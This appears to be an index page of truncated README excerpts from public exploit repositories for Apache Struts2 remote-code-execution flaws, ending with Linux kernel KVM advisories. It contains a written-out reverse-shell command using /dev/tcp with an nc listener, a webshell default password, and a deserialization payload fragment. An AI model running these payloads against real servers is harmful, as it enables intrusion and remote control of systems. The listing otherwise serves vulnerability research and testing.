S2-055

S2-055 Deserialization Vulnerability Exploit CVE-2017-7525 Exploitation Process javac ExploitCommand.java package exploit; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import...

CVE-2016-4438

ref: https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037PoC.py https://raw.githubusercontent.com/coffeehb/Some-PoC-oR-ExP/master/Struts2/S2-037CmdToolExP.py...

s2-062

s2-062 Remote Code Execution S2-062 CVE-2021-31805 Verification POC Verification method vulfocus range issue The poc inside validates against the s2-061 range, with the parameter id; the new range uses the parameter name The main reason for identifying it as id is that I can't think of any good...

CVE-2021-31805

CVE-2021-31805 1.Introduction Struts2 Remote Command Execution Vulnerability CVE-2020-17530 & CVE-2021-31805 POC & EXP 2.Usage Parameter Introduction -u target url -m dnslog|exp //Default echo interface character check -n s2-062 //Default s2-061 -s windows //Default linux -p vulnerable parameter...

CVE-2020-17530-s2-061

CVE-2020-17530-s2-061 s2-061 graphical interface exploit, only for fun and practice Usage python CVE-2020-17530.py Fill in target address Fill in the system command to execute Click Execute PS: The exploit includes a reverse shell function, but I was too lazy to add the corresponding buttons and...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Exp Tools Exp Function: Command Execute Get Target Website's Physical Path File Upload Getshell Default Webshell For Chopper Support HTTP/HTTPS Support URL With Any Port Note: Default Webshell's Password is s2045@exp Notice The Project Is Intended For...

Struts2Shell

Struts2Shell An exploit and library for CVE-2017-5638 - Apache Struts2 S2-045 bug. Installation $ npm install -g struts2shell Installation as Library $ npm install struts2shell Command Line Options -h, --help output usage information -V, --version output the version number -u, --url target URL to...

S2-045

S2-045 Struts2 S2-045 Vulnerability environment...

cve-2017-5638

cve-2017-5638 cve-2017-5638 Vulnerable site sample This project aims to demonstrate the CVE-2017-5638 exploitation for educational purpose. For more informations, see https://cwiki.apache.org/confluence/display/WW/S2-045 Legal Disclaimer This project is made for educational and ethical testing...

st2-046-poc

Struts2 Content-Disposition filename null-byte variant of CVE-2017-5638 Struts2 Security Bulletin S2-046 A null byte \x00 in a request¡¯s Content-Disposition header filename field can trigger a InvalidFileNameException with the same client controlled filename string in the exception message that ...

CVE-2018-11776

CVE-2018-11776 On August 23, 2018, Apache Struts 2 released its latest security advisory, revealing a high-risk remote code execution vulnerability. Reported by a security researcher from the Semmle Security Research team, this vulnerability is tracked as CVE-2018-11776 S2-057. If the namespace...

S2-053-CVE-2017-12611

S2-053-CVE-2017-12611 A simple script for exploit RCE for Struts 2 S2-053CVE-2017-12611 Usage exploit.py Example $ python s2-053-exploit.py "http://127.0.0.1" "name" "uname -a" Generated EXP:...

freemarker_RCE_struts2_s2-061

freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE testscript python freemarkerRCEstruts2s2-061.py...

CVE-2024-53677-S2-067

🚨🚨 CVE-2024-53677-S2-067🚨🚨 Security Advisory: CVE-2024-53677 – Critical Apache Struts Remote Code Execution Vulnerability Advisory Date: December 14, 2024 CVE ID: CVE-2024-53677 CVSS Score: 9.5 Critical Overview A critical vulnerability, CVE-2024-53677, has been identified in the popular Apache...

S2-057-CVE-2018-11776

S2-057-CVE-2018-11776 A simple exploit for Apache Struts RCE S2-057 CVE-2018-11776 IMPORTANT: Is provided only for educational or information purposes. Deploy test environment git clone https://github.com/vulhub/vulhub cd vulhub/struts2/s2-057 docker-compose up -d Usage exploit.py Example $ pytho...

S2-052

CVE-2017-9805 S2-052 Reverse Shell Exploit Affected Versions Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12 PoC Content-Type: application/xml 0 false 0 calc false java.lang.ProcessBuilder start foo foo false 0 0 false false 0 jdk.nashorn.internal.objects...

EUVD-2026-103680

In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction We free the shadow S2 structures from kvmarchflushshadowall, which is a Bad Ideatm. Freeing the page tables is fair game this is what this callback is for...

CVE-2026-98440

The Linux kernel contains a vulnerability within the KVM subsystem on arm64 architectures. The issue arises because shadow S2 structures were being prematurely freed from kvm_arch_flush_shadow_all(), creating a risk where the container could still be referenced by other system components. To reme...

CVE-2026-98440 KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction

In the Linux kernel, the following vulnerability has been resolved: KVM: arm64: nv: Delay freeing of shadow S2 structures until VM destruction We free the shadow S2 structures from kvmarchflushshadowall, which is a Bad Ideatm. Freeing the page tables is fair game this is what this callback is for...